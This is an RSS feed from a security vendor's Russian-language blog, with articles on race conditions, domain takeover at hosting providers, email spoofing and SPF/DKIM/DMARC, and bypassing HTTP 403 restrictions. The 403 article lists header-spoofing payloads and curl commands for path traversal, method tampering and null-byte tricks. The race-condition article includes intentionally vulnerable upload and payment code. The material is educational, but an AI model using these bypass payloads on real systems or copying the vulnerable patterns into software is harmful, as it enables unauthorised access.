<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Metascan News &amp; PoC</title><generator>teletype.in</generator><description><![CDATA[Облачный сканер уязвимостей с экспертным сопровождением]]></description><image><url>https://img2.teletype.in/files/5d/2a/5d2aa36e-5a83-4599-b913-cb1ae65c842a.png</url><title>Metascan News &amp; PoC</title><link>https://teletype.in/@metascan</link></image><link>https://teletype.in/@metascan?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/metascan?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/metascan?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Fri, 31 Jul 2026 23:41:00 GMT</pubDate><lastBuildDate>Fri, 31 Jul 2026 23:41:00 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@metascan/YIJacnqk5iE</guid><link>https://teletype.in/@metascan/YIJacnqk5iE?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan</link><comments>https://teletype.in/@metascan/YIJacnqk5iE?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan#comments</comments><dc:creator>metascan</dc:creator><title>Race Condition – где архитектура ломает логику</title><pubDate>Fri, 10 Apr 2026 09:14:53 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/4d/0b/4d0bbc3c-a9ab-4d18-a66f-17f1fa55b8d7.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/73/e6/73e65c7a-cb89-48eb-be61-828d53460a1d.png"></img>В мире, наполненном SAST/DAST сканерами (инструментами статического и динамического анализа кода), допустить ошибку в написании кода с каждым днем становится все сложнее. Однако есть класс уязвимостей, которые могут появиться в результате работы как опытного программиста, так и обученной нейросети. Одна из таких уязвимостей — Race condition.]]></description><content:encoded><![CDATA[
  <h3 id="Ek8j">Введение</h3>
  <p id="ipec">В мире, наполненном SAST/DAST сканерами (инструментами статического и динамического анализа кода), допустить ошибку в написании кода с каждым днем становится все сложнее. Однако есть класс уязвимостей, которые могут появиться в результате работы как опытного программиста, так и обученной нейросети. Одна из таких уязвимостей — <strong>Race Сondition.</strong></p>
  <figure id="HTsX" class="m_column">
    <img src="https://img4.teletype.in/files/73/e6/73e65c7a-cb89-48eb-be61-828d53460a1d.png" width="2560" />
  </figure>
  <h3 id="LUr1">Что представляет из себя состояние гонки?</h3>
  <p id="emAV">Race Condition, или состояние гонки, представляет из себя архитектурную уязвимость, возникающую там, где система предполагает последовательность действий, но в реальности выполняет их параллельно. В итоге логика, корректная в случае одиночного потока, становится уязвимой при параллельных запросах.</p>
  <p id="w7Op">Технически уязвимость возникает в момент, когда проверка и использование данных разделены во времени. Система сначала читает состояние, затем принимает решение, и только после этого изменяет данные. Если между этими шагами другой поток успевает изменить состояние, оба запроса могут пройти проверку и выполнить действие. </p>
  <figure id="RsWD" class="m_column">
    <img src="https://img3.teletype.in/files/6c/6c/6c6cc14e-ee10-4eaf-9ad6-43ee0c63238b.png" width="838" />
  </figure>
  <p id="cu79">Классический пример — проверка баланса перед списанием средств. Два параллельных запроса читают одно и то же значение, оба считают операцию допустимой и оба уменьшают баланс. Например, два человека одновременно снимают деньги с одной карты. Каждый запрос видит баланс до того, как другой успел его изменить. В одиночном потоке код работает корректно, но при их конкуренции возникает двойное списание.</p>
  <p id="lhrF">Архитектурно эта уязвимость почти всегда возникает из паттерна <em>read-modify-write</em>. Сервис читает данные из базы, изменяет их в памяти и записывает обратно. Пока операция выполняется, другой поток может сделать то же самое. Ситуацию усугубляют микросервисные архитектуры, очереди сообщений, кэш перед базой данных и другие компоненты современных приложений. Каждый дополнительный сетевой переход увеличивает временное окно, в котором может возникнуть гонка.</p>
  <p id="17FD">С точки зрения эксплуатации, задача злоумышленника — увеличить вероятность совпадения. Он отправляет несколько параллельных запросов, инициирует повторные операции или создаёт искусственные задержки. Даже если окно гонки составляет миллисекунды, при достаточном количестве попыток оно становится воспроизводимым. </p>
  <p id="ZEgy">На практике race condition помогает злоумышленникам перебирать пароли, обходить ограничения на количество запросов, накручивать промокоды и ломать бизнес-логику сайта. В редких случаях состояние гонки может стать ключевым шагом для получения удалённого выполнение кода (Remote Code Execution).</p>
  <hr />
  <h3 id="ulOO">Примеры</h3>
  <p id="v0Wp">Рассмотрим классические примеры, где может быть примерена Race Condition. </p>
  <p id="hsse"><strong>1. TOCTOU<br /></strong>Наиболее распространённый сценарий — это классический <em>Time-of-check to time-of-use</em>. Проблема появляется, когда система проверяет условие отдельно от действия, что-то вроде проверки уникальности юзернейма в базе данных:</p>
  <pre id="GGVu" data-lang="python">user = db.query(&quot;SELECT * FROM users WHERE username = ?&quot;, username)

if not user:
    db.query(&quot;INSERT INTO users(username) VALUES(?)&quot;, username)</pre>
  <p id="tnxI">При двух параллельных запросах оба <code>SELECT</code> вернут пустой результат, и оба <code>INSERT</code> создадут дубликат. </p>
  <p id="ovIb"><strong>2. Race Condition при работе с файлами</strong></p>
  <p id="OkvE">Интересный сценарий, при котором RC может привести к получению удаленного выполнения кода или к повышению привилегий на уже скомпрометированной системе — работа с файлами.</p>
  <pre id="Z2JH" data-lang="php">&lt;?php

$upload_dir = &quot;/var/www/uploads/&quot;;
$tmp_name = $_FILES[&quot;file&quot;][&quot;tmp_name&quot;];
$name = basename($_FILES[&quot;file&quot;][&quot;name&quot;]);

$path = $upload_dir . $name;

move_uploaded_file($tmp_name, $path);

$content = file_get_contents($path);

if (strpos($content, &quot;&lt;?php&quot;) !== false) {
    unlink($path);
    die(&quot;Malicious file detected&quot;);
}

echo &quot;Uploaded successfully&quot;;</pre>
  <p id="6nUu">Что тут делается:</p>
  <ol id="8JVT">
    <li id="ibhT">файл загружается</li>
    <li id="9mLS">проверяется на наличие PHP-кода</li>
    <li id="2kKB">если код найден — файл удаляется</li>
  </ol>
  <p id="tJxQ">Однако между проверкой и удалением есть небольшое временное окно, в которое можно успеть вызвать файл и получить выполнение кода. </p>
  <p id="LC4l"><strong>3. Гонки в API</strong></p>
  <p id="b0dc">В таком сценарии уязвимость может позволить нам провести одну и ту же операцию дважды:</p>
  <pre id="P1lw" data-lang="python">order = db.get_order(order_id)

if order.status == &quot;pending&quot;:
    order.status = &quot;paid&quot;
    process_payment(order)
    db.save(order)</pre>
  <p id="Rf4f">Для эксплуатации достаточно будет послать два параллельных запроса – каждый из них прочитает состояние <code>status==&quot;pending&quot;</code>, затем каждый из них запустит <code>process_payment</code></p>
  <h3 id="WtlS">Исправление</h3>
  <p id="SvPm">Самый надёжный способ исправить такие уязвимости — перенести логику изменения в базу данных и выполнять всё в рамках одной транзакции: проверка и изменение данных должны быть одним действием, которое нельзя разорвать посередине. Когда обновление выполняется условно и атомарно (неразрывно), база данных сама гарантирует согласованность состояния, и никакой параллельный запрос уже не сможет проскочить между проверкой и изменением.</p>
  <p id="UeTx">Альтернативно может быть использован архитектурный принцип <em>single writer</em>, при котором только один компонент в системе отвечает за изменение конкретного ресурса (баланса, счётчика и тд.), и гонка просто не может возникнуть из-за отсутствия конкуренции.<br /></p>
  <h3 id="YiII">Заключение</h3>
  <p id="Tcg5">Важно понимать, что Race Condition — это не баг конкретного языка или фреймворка. Это следствие того, что разработчик исходил из предположения, что запросы будут выполняться последовательно, а в реальности они приходят одновременно.</p>
  <p id="bLSJ">Во время ручных тестирований специалисты <a href="https://metascan.ru/" target="_blank">METASCAN</a> неоднократно находили эту уязвимость в различных сценариях — от накрутки баланса с помощью промокодов, до брутфорса по многотысячному словарю при 5 доступных попытках ввода пароля.<br /><br /><em>Подписывайтесь на <a href="https://t.me/metascan_news" target="_blank">METASCAN News &amp; PoC</a>, чтобы больше узнавать о новых функциях, полезных фичах и главных новостях.</em></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@metascan/domain-takeover</guid><link>https://teletype.in/@metascan/domain-takeover?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan</link><comments>https://teletype.in/@metascan/domain-takeover?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan#comments</comments><dc:creator>metascan</dc:creator><title>Захват доменов хостинг-провайдера</title><pubDate>Fri, 12 Dec 2025 12:23:30 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/50/8e/508e7f32-8209-4a90-b590-b43c9bf74b01.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/fd/3f/fd3fb177-e5df-4cf1-bc11-07f1d58901fe.png"></img>Хостинг-провайдеры остаются надежным и быстрым способом развернуть сайт для пользователей, но очень часто допускаются ошибки при настройке DNS записей, что может привести к захвату домена. В статье рассмотрим почему важно следить за DNS записями и как забытые домены могут привести к репутационным потерям для вашей компании.]]></description><content:encoded><![CDATA[
  <p id="UTNH">Хостинг-провайдеры остаются надежным и быстрым способом развернуть сайт для пользователей, но очень часто допускаются ошибки при настройке DNS записей, что может привести к захвату домена. В статье рассмотрим почему важно следить за DNS записями и как забытые домены могут привести к репутационным потерям для вашей компании.</p>
  <figure id="2ZRY" class="m_column">
    <img src="https://img4.teletype.in/files/fd/3f/fd3fb177-e5df-4cf1-bc11-07f1d58901fe.png" width="2560" />
  </figure>
  <h3 id="1SK3">Настройка домена на хостинге</h3>
  <p id="ruRL">Рассмотрим сначала как устроен процесс настройки домена на хостинге. Среди популярных российских решений выделим следующие:</p>
  <ul id="YQq4">
    <li id="m1HR">РуЦентр</li>
    <li id="LrW9">Рег.ру</li>
    <li id="eDVk">Tilda</li>
  </ul>
  <p id="csZ7">При сохранении DNS серверов хостинги предлагают создать DNS A запись с IP адресом хостинга. Для простого сайта обычно используются тарифы с возможностью управления сайтом, но без полного контроля над сервером, из-за чего на одном IP адресе может находится большое количество доменов.</p>
  <figure id="OZaR" class="m_column">
    <img src="https://img1.teletype.in/files/48/c6/48c63b6d-d313-4be8-bd0b-e991117d1348.png" width="808" />
    <figcaption>Инструкция по добавлению A записи из документации Tilda</figcaption>
  </figure>
  <p id="L52r">После приобретения выбранного тарифа хостинг предлагает добавить DNS A запись для домена или поддомена, после чего появляется возможность добавить домен в личном кабинете хостинга. Но именно на этом этапе очень часто забывают просто закрепить домен в личном кабинете, либо попросту услугу могли удалить, а DNS A записи оставить. </p>
  <h3 id="V8uE">Захват доменов</h3>
  <p id="QEiN">Условиями для захвата является наличие необходимой DNS A записи и отсутствие активной услуги у хостингов где добавлен захватываемый домен или поддомен. У каждого хостинга собственная страница которая сообщает о том, что домен не закреплен в личном кабинете:</p>
  <ul id="abp8">
    <li id="58Lv">РуЦентр</li>
  </ul>
  <figure id="YiFd" class="m_column">
    <img src="https://img3.teletype.in/files/ad/3a/ad3a53c0-0a88-4047-9bf6-981c29b26ca2.png" width="935" />
  </figure>
  <ul id="ZVM7">
    <li id="JPfi">Рег.ру</li>
  </ul>
  <figure id="OPPt" class="m_column">
    <img src="https://img2.teletype.in/files/94/4c/944c3138-064a-46b6-b48d-6e82e7d52d22.png" width="769" />
  </figure>
  <ul id="mEFs">
    <li id="PQK2">Tilda</li>
  </ul>
  <figure id="sCwf" class="m_column">
    <img src="https://img3.teletype.in/files/a1/95/a195c16d-e52b-4926-aef5-95f61f592ab4.png" width="735" />
  </figure>
  <p id="skH0">Во всех трех случаях атакующему достаточно зайти в личный кабинет хостинга на который указывает домен и в созданной услуге указать домен, после чего он будет добавлен и злоумышленник сможет расположить произвольный контент на сайте:</p>
  <figure id="4StG" class="m_column">
    <img src="https://img1.teletype.in/files/09/f1/09f17b35-ff77-4845-927b-cf29bd2e554b.png" width="1088" />
  </figure>
  <p id="WkVd">Проще всего захват осуществить на Tilda так как адресов там всего несколько. В случае с РуЦентр и Рег.ру нужно сначала определить в какую услугу входит IP адрес сервера, затем заказать эту услугу и сбрасывать её до того момента пока система не выдаст такой же IP адрес как и у захватываемого домена. После этого домен можно будет добавить и захватить, что успешно было подтверждено в результате нашего исследования.</p>
  <p id="NqCD">Захват доменов может произойти на группе разных сервисов и хостингов использующих такой же принцип управления доменами. Существует курируемый сообществом репозиторий по списку располагающих к захвату доменов сервисов и необходимых условий:</p>
  <p id="WFw4"><a href="https://github.com/EdOverflow/can-i-take-over-xyz" target="_blank">https://github.com/EdOverflow/can-i-take-over-xyz</a></p>
  <h3 id="3Ajm">Заключение</h3>
  <p id="1LmK">Захват доменов является опасной проблемой забытых DNS записей, так как часто это может быть поддомен для основного сайта или альтернативные домены на которые ссылаются ресурсы на сайтах компании. В случае успешного захвата вместо безобидного контента злоумышленник может расположить контент нарушающий законы РФ, что может не только привести к репутационным рискам для компании, но и привести к юридическим проблемам с немалыми финансовыми потерями.</p>
  <p id="MjUT"><a href="https://metascan.ru/" target="_blank">Метаскан</a> поддерживает автоматическую проверку забытых доменов на хостингах, а наши специалисты по запросу могут продемонстрировать захват на ваших доменах при наличии необходимых условий. </p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@metascan/email-spoofing</guid><link>https://teletype.in/@metascan/email-spoofing?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan</link><comments>https://teletype.in/@metascan/email-spoofing?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan#comments</comments><dc:creator>metascan</dc:creator><title>Эволюция Email спуфинга</title><pubDate>Wed, 26 Nov 2025 16:41:49 GMT</pubDate><description><![CDATA[<img src="https://img3.teletype.in/files/69/51/69512ec7-84c5-484e-8988-38ba0d0a8ba8.png"></img>История фишинга берет свое начало еще в 1994 году, когда группа хакеров придумала схему в которой они выдавали себя представителями AOL с целью кражи учетных данных пользователей и платежной информации. С тех пор техники значительно улучшались и эволюционировали, в фишинговых кампаниях применялись все более сложные и необычные методы. Одним из самых распространенных каналов для фишинга остается классическая электронная почта — Email.]]></description><content:encoded><![CDATA[
  <p id="XZpE">История фишинга берет свое начало еще в 1994 году, когда группа хакеров придумала схему в которой они выдавали себя представителями AOL с целью кражи учетных данных пользователей и платежной информации. С тех пор техники значительно улучшались и эволюционировали, в фишинговых кампаниях применялись все более сложные и необычные методы. Одним из самых распространенных каналов для фишинга остается классическая электронная почта — Email.</p>
  <figure id="fDBE" class="m_column">
    <img src="https://img3.teletype.in/files/69/51/69512ec7-84c5-484e-8988-38ba0d0a8ba8.png" width="2560" />
  </figure>
  <h3 id="IaaB">Что такое SPF, DKIM, DMARC?</h3>
  <p id="QKda">Все эти 3 политики работают вместе с общей целью — аутентифицировать Email письма и предотвратить спуфинг, фишинг и другие атаки с подменой личности.</p>
  <p id="94hi"><strong>SPF (Sender Policy Framework)</strong></p>
  <p id="esLy">Данная политика позволяет владельцу домена указать какие Email сервера могут отправлять почту от лица этого домена. Когда почта приходит, принимающий сервер проверяет <strong>SPF</strong> запись для подтверждения легитимности отправителя.</p>
  <p id="ylf0">Выглядит следующим образом (DNS TXT запись):</p>
  <pre id="RAIK">v=spf1 ip4:192.0.2.0/24 include:_spf.google.com ~all</pre>
  <ul id="veaL">
    <li id="DRnD"><code>v=spf1</code> - версия SPF</li>
    <li id="YSLJ">Список IP адресов или доменов с которых может поступать почта</li>
    <li id="mqX5">Политика завершется опциями: <code>~all</code> (soft fail) или <code>-all</code> (hard fail) или <code>+all</code> (не рекомендуется).</li>
  </ul>
  <p id="C9K6"><strong>DKIM (DomainKeys Identified Mail)</strong></p>
  <p id="qhhe">Данная запись добавляет цифровую подпись в заголовки Email используя криптографические ключи. Отправляющий сервер подписывает исходящую почту с приватным ключом, а получающие сервера верифицируют подпись используя публичный ключ в DNS записи. </p>
  <p id="mIss">Такая защита позволяет не только подтвердить отправителя, но и убедиться что содержимое письма никак не было изменено.</p>
  <p id="V2Xt">TXT DNS запись для DKIM выглядит следующим образом (где p = публичный ключ):</p>
  <pre id="amKt">default._domainkey.yourdomain.com TXT &quot;v=DKIM1; k=rsa; p=MIGfMA0GCS...&quot;</pre>
  <p id="0puC">Для работы данного метода необходимо сгенерировать пару публичный/приватный ключ и настроить на сервере отправителе подпись писем.</p>
  <p id="4kVm"><strong>DMARC (Domain-based Message Authentication, Reporting and Conformance)</strong></p>
  <p id="4Hfv">Данная запись основывается на предыдущих двух записях - SPF и DKIM. Предназначена для оповещения серверов-получателей писем в тех случаях, когда аутентификация не удалась и содержит инструкции куда отправлять отчет о неудачных попытках аутентификации.</p>
  <ul id="iKYx">
    <li id="PuOL">Указывает политику при неудачной аутентификации (карантин, отклонение или бездействие)</li>
    <li id="nKMl">Позволяет увидеть кто пытается отправлять письма с домена владельца</li>
    <li id="1N1g">Предотвращает подделку домена в поле &quot;От&quot; который видят пользователи</li>
    <li id="Ztxu">Гибкая настройка позволяет укреплять политику постепенно</li>
  </ul>
  <p id="DDcy">TXT DNS запись для DMARC выглядит следующим образом:</p>
  <pre id="JdQO">v=DMARC1; p=quarantine; rua=mailto:dmarc@yourdomain.com; pct=100; adkim=s; aspf=s</pre>
  <ul id="cOvk">
    <li id="FogK"><code>p=</code>устанавливает политику: <code>none </code>(мониторинг), <code>quarantine </code>(спам) или <code>reject </code>(отклонение)</li>
    <li id="1Zw3"><code>rua=</code> указывает куда отправлять отчеты</li>
    <li id="GhZU"><code>pct=</code> к какому проценту писем применять политику</li>
    <li id="9vmf"><code>adkim=</code> и <code>aspf=</code> указывают на режим работы по существующим записям (strict или relaxed)</li>
  </ul>
  <p id="HYzy">В режиме мониторинга очень часто возникает ситуация когда отчеты начинают попросту игнорировать, что приводит к успешным атакам через слабую политику <strong>DMARC</strong>.</p>
  <h3 id="gZr9">Использование в современных атаках</h3>
  <p id="GgjX">Несмотря на то, что многие не отдают особого внимания данным записям, за последние 2 года происходили крупные атаки которые в том или ином объеме использовали слабости в проверках отправляемой почты. </p>
  <p id="N4So">В недавнем исследовании <strong>PayPal</strong> в 2024 году были обнаружены недостатки которые позволяли атакующим воспользоваться <strong>SMTP Smuggling</strong> атаками для обхода <strong>SPF</strong>, <strong>DKIM </strong>и <strong>DMARC </strong>политик в результате использования очень мягких правил в <strong>SPF </strong>записях.</p>
  <p id="FFyQ">Массовая компроментация бизнес Email через использование очень похожих доменов позволила хакерам обойти проверки <strong>DMARC</strong>, что привело к потере $2.3 миллионов.</p>
  <h3 id="kByX">Заключение</h3>
  <p id="d5yB">В <a href="https://metascan.ru/" target="_blank">Метаскан</a> поддерживается проверка <strong>SPF</strong> записей в автоматическом режиме на любом объеме ресурсов с градацией по критичности. При наличии <strong>MX</strong> записи, но отсутствующей <strong>SPF</strong> записи, будет создана сработка со средним уровнем критичности предупреждая о наличии мисконфигурации. Подобные ошибки могут привести к успешной фишинговой кампании, которая может закончится пошифрованной инфраструктурой и большими потерями для бизнеса.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@metascan/forbidden</guid><link>https://teletype.in/@metascan/forbidden?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan</link><comments>https://teletype.in/@metascan/forbidden?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=metascan#comments</comments><dc:creator>metascan</dc:creator><title>Методы и техники обхода Forbidden</title><pubDate>Fri, 21 Nov 2025 10:33:13 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/04/3b/043b3e7d-b7c8-4e6d-a929-2264f968c878.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/0b/00/0b00a6c5-90a2-4585-9c96-e9207efbf8ac.png"></img>Один из самых простых способов закрыть доступ к контенту - это использование HTTP статусов 4XX, которые являются индикатором ошибки на стороне клиента выполнившего запрос. Реализовать их можно самыми разнообразными способами, такими как конфигурация веб-сервера, прикладная логика приложения или даже на уровне CGI скрипта. Но очень часто разработчики могут использовать усложненную логику для гибкого доступа клиентов к закрытому контенту.]]></description><content:encoded><![CDATA[
  <p id="uVgs">Один из самых простых способов закрыть доступ к контенту - это использование HTTP статусов 4XX, которые являются индикатором ошибки на стороне клиента выполнившего запрос. Реализовать их можно самыми разнообразными способами, такими как конфигурация веб-сервера, прикладная логика приложения или даже на уровне CGI скрипта. Но очень часто разработчики могут использовать усложненную логику для гибкого доступа клиентов к закрытому контенту. </p>
  <figure id="889X" class="m_column">
    <img src="https://img1.teletype.in/files/0b/00/0b00a6c5-90a2-4585-9c96-e9207efbf8ac.png" width="2560" />
  </figure>
  <h3 id="YQNZ">Перспектива атакующего </h3>
  <p id="Ky1W">Рассмотрим перспективу атакующего который осуществляет анализ веб-приложения и сталкивается со страницами или запросами на которые веб-сервер возвращает 4XX ошибки (в основном 401 и 403). Один из способов сделать гибкий доступ к запрещенному контенту - проверять IP адрес клиента. </p>
  <p id="hiS9">Иногда это делают через заголовки, среди таких встречаются следующие:</p>
  <pre id="FDMl" data-lang="http">Base-Url: 127.0.0.1
Client-IP: 127.0.0.1
Http-Url: 127.0.0.1
Proxy-Host: 127.0.0.1
Proxy-Url: 127.0.0.1
Real-Ip: 127.0.0.1
Redirect: 127.0.0.1
Referer: 127.0.0.1
Referrer: 127.0.0.1
Refferer: 127.0.0.1
Request-Uri: 127.0.0.1
Uri: 127.0.0.1
Url: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Port: 443
X-Forwarded-Port: 4443
X-Forwarded-Port: 80
X-Forwarded-Port: 8080
X-Forwarded-Port: 8443
X-Forwarded-Scheme: http
X-Forwarded-Scheme: https
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Host: 127.0.0.1
X-Http-Destinationurl: 127.0.0.1
X-Http-Host-Override: 127.0.0.1
X-Original-Remote-Addr: 127.0.0.1
X-Original-Url: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Proxy-Url: 127.0.0.1
X-Real-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Rewrite-Url: 127.0.0.1
X-True-IP: 127.0.0.1
Client-IP: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded-For: localhost
Forwarded: 127.0.0.1
Forwarded: localhost
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forward: 127.0.0.1
X-Forward: localhost
X-Forwarded-By: 127.0.0.1
X-Forwarded-By: localhost
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For-Original: localhost
X-Forwarded-For: 127.0.0.1
X-Forwarded-For: localhost
X-Forwarded-Server: 127.0.0.1
X-Forwarded-Server: localhost
X-Forwarded: 127.0.0.1
X-Forwarded: localhost
X-Forwared-Host: 127.0.0.1
X-Forwared-Host: localhost
X-Host: 127.0.0.1
X-Host: localhost
X-HTTP-Host-Override: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-Addr: localhost
X-Remote-IP: 127.0.0.1</pre>
  <p id="N8np">Для подбора нужного заголовка который потенциально использовался для разграничения доступа атакующему достаточно просто осуществить фаззинг по заголовкам и попытаться подобрать заложенный разработчиком заголовок для проверки клиентского IP.</p>
  <p id="QuYM">Один из других способов ограничить доступ - проверять другие заголовки или использовать особенности веб-серверов, такие как перезапись оригинального URL или по заголовку Referer:</p>
  <pre id="BINN" data-lang="http">X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin
Referer: http://trusted.com/admin</pre>
  <p id="wyUa">Другой распространенной мисконфигурацией является проверка по конкретному методу, где в прикладной логике приложения может отсутствовать или работать некорректно обработка HTTP метода:</p>
  <pre id="dPgz" data-lang="shell">curl -X OPTIONS --path-as-is &quot;https://example.com/private/&quot;
curl -X GET --path-as-is &quot;https://example.com/private/&quot;
curl -X POST --path-as-is &quot;https://example.com/private/&quot;
curl -X PUT --path-as-is &quot;https://example.com/private/&quot;
curl -X DELETE --path-as-is &quot;https://example.com/private/&quot;
curl -X PATCH --path-as-is &quot;https://example.com/private/&quot;
curl -X HEAD --path-as-is &quot;https://example.com/private/&quot;
curl -X TRACE --path-as-is &quot;https://example.com/private/&quot;
curl -X CONNECT --path-as-is &quot;https://example.com/private/&quot;
curl -X PROPFIND --path-as-is &quot;https://example.com/private/&quot;
curl -X MKCOL --path-as-is &quot;https://example.com/private/&quot;
curl -X COPY --path-as-is &quot;https://example.com/private/&quot;
curl -X MOVE --path-as-is &quot;https://example.com/private/&quot;
curl -X LOCK --path-as-is &quot;https://example.com/private/&quot;
curl -X UNLOCK --path-as-is &quot;https://example.com/private/&quot;
curl -X SEARCH --path-as-is &quot;https://example.com/private/&quot;</pre>
  <p id="ppdj">И заголовок для перезаписи метода:</p>
  <pre id="y2Vq" data-lang="http">X-HTTP-Method-Override: PUT</pre>
  <p id="1b5K">Среди распространенных методов обхода можно применять классическую Path Traversal атаку:</p>
  <pre id="YmW1" data-lang="bash">curl -g --path-as-is &quot;https://example.com/%2e%2e/admin&quot;          # ../
curl -g --path-as-is &quot;https://example.com/%2e%2e%2fadmin&quot;        # ../admin
curl -g --path-as-is &quot;https://example.com/%2e%2e%2f%61dmin&quot;      # ../admin (кодировка для &#x27;a&#x27; символа)
curl -g --path-as-is &quot;https://example.com/%2e%2e/%2e%2e/admin&quot;   # ../../admin
curl -g --path-as-is &quot;https://example.com/%2e%2e/%2fadmin&quot;       # ..//admin
curl -g --path-as-is &quot;https://example.com/%20/admin&quot;             # space/admin
curl -g --path-as-is &quot;https://example.com/%2e%2fadmin&quot;           # ./admin
curl -g --path-as-is &quot;https://example.com/admin%2f&quot;              # admin/
curl -g --path-as-is &quot;https://example.com/admin%252f&quot;            # admin%2f (двойная кодировка)
curl -g --path-as-is &quot;https://example.com/admin%2e%2e%2f&quot;        # admin../</pre>
  <p id="3zWe">Если разработчик воспользовался недостаточно хорошим регулярным выражением и проверяет только строчную версию URL, можно попробовать изменить регистр:</p>
  <pre id="Fu4N" data-lang="bash">curl https://example.com/admin
curl https://example.com/Admin
curl https://example.com/ADMIN
curl https://example.com/aDmiN
curl https://example.com/adMin
curl https://example.com/AdMiN
curl https://example.com/aDMIN
curl https://example.com/ADMIn</pre>
  <p id="5o62">Или добавить альтернативные расширения которые могут пройти проверку на уровне веб-сервера и прикладная логика приложения уже может просто проигнорировать их:</p>
  <pre id="JeUi" data-lang="bash">curl https://example.com/admin.json
curl https://example.com/admin.css
curl https://example.com/admin.js
curl https://example.com/admin.html
curl https://example.com/admin.php
curl https://example.com/admin.aspx
curl https://example.com/admin.xml
curl https://example.com/admin.txt
curl https://example.com/admin.bak
curl https://example.com/admin.old
curl https://example.com/admin.zip
curl https://example.com/admin.tar.gz

# С использованием нуль-байта
curl --path-as-is &quot;https://example.com/admin.php%00.html&quot;
curl --path-as-is &quot;https://example.com/config.php%00.json&quot;
curl --path-as-is &quot;https://example.com/login.php%00?redirect=admin&quot;
curl --path-as-is &quot;https://example.com/user/profile%00.php&quot;
curl --path-as-is &quot;https://example.com/images/logo%00.jpg&quot;
curl --path-as-is &quot;https://example.com/admin%00.php&quot;
curl --path-as-is &quot;https://example.com/secret%00file.txt&quot;
curl --path-as-is &quot;https://example.com/uploads/file%00.zip&quot;</pre>
  <p id="Lmgb">Иногда разработчики могут использовать скрытые параметры для ограниченного доступа к страницам, здесь могут помочь такие инструменты как <a href="https://github.com/PortSwigger/param-miner" target="_blank">Param-Miner</a> и подобные:</p>
  <pre id="VRSa" data-lang="bash">curl &quot;https://example.com/admin?unused_param=1&quot;
curl &quot;https://example.com/admin?redirect=allowed&quot;
curl &quot;https://example.com/admin?debug=true&quot;
curl &quot;https://example.com/admin?access=granted&quot;
curl &quot;https://example.com/admin?token=123&quot;</pre>
  <p id="A6rg">Немного реже встречаются обходы с использованием HTTP Version Downgrade:</p>
  <pre id="oSn0" data-lang="bash">curl -http1.0 https://example.com/admin
curl -http1.0 https://example.com/secret
curl -http1.0 https://example.com/config
curl -http1.0 https://example.com/dashboard</pre>
  <p id="fZUW">Или обращение без Host заголовка (BurpSuite, Zap, Netcat):</p>
  <pre id="5SnY" data-lang="bash">printf &quot;GET /admin HTTP/1.1\r\n\r\n&quot; | nc example.com 80</pre>
  <p id="91Kt">Если в какой-то момент конфигурация не работала, можно посмотреть доступность файла на основе исторических данных:</p>
  <pre id="Pkfe" data-lang="html">https://web.archive.org/web/*/https://example.com/secret-file.txt</pre>
  <h3 id="z75r">Реальный кейс Метаскан</h3>
  <p id="2NIo">В процессе анализа инфраструктуры заказчика выявили необычное поведение сервера, который блокировал доступ к странице на основе заголовка User-Agent: </p>
  <figure id="QFsI" class="m_original">
    <img src="https://img3.teletype.in/files/61/79/617962f9-227e-49bc-a90a-331333fbca9b.png" width="1088" />
  </figure>
  <p id="6s2f">По результатам фаззинга выявили необычное поведение при котором любое упоминание стандартных браузеров, таких как Firefox, Safari, Opera, Chrome, мобильных браузеров на Android, iPhone и других клиентов сервер возвращал 403, но при использовании даже простого curl User-Agent проверка проходила и был получен доступ к содержимому хранилища S3:</p>
  <figure id="dulJ" class="m_original">
    <img src="https://img1.teletype.in/files/0c/7f/0c7f7e93-26d7-499e-8a49-83e3c2c8f026.png" width="1089" />
  </figure>
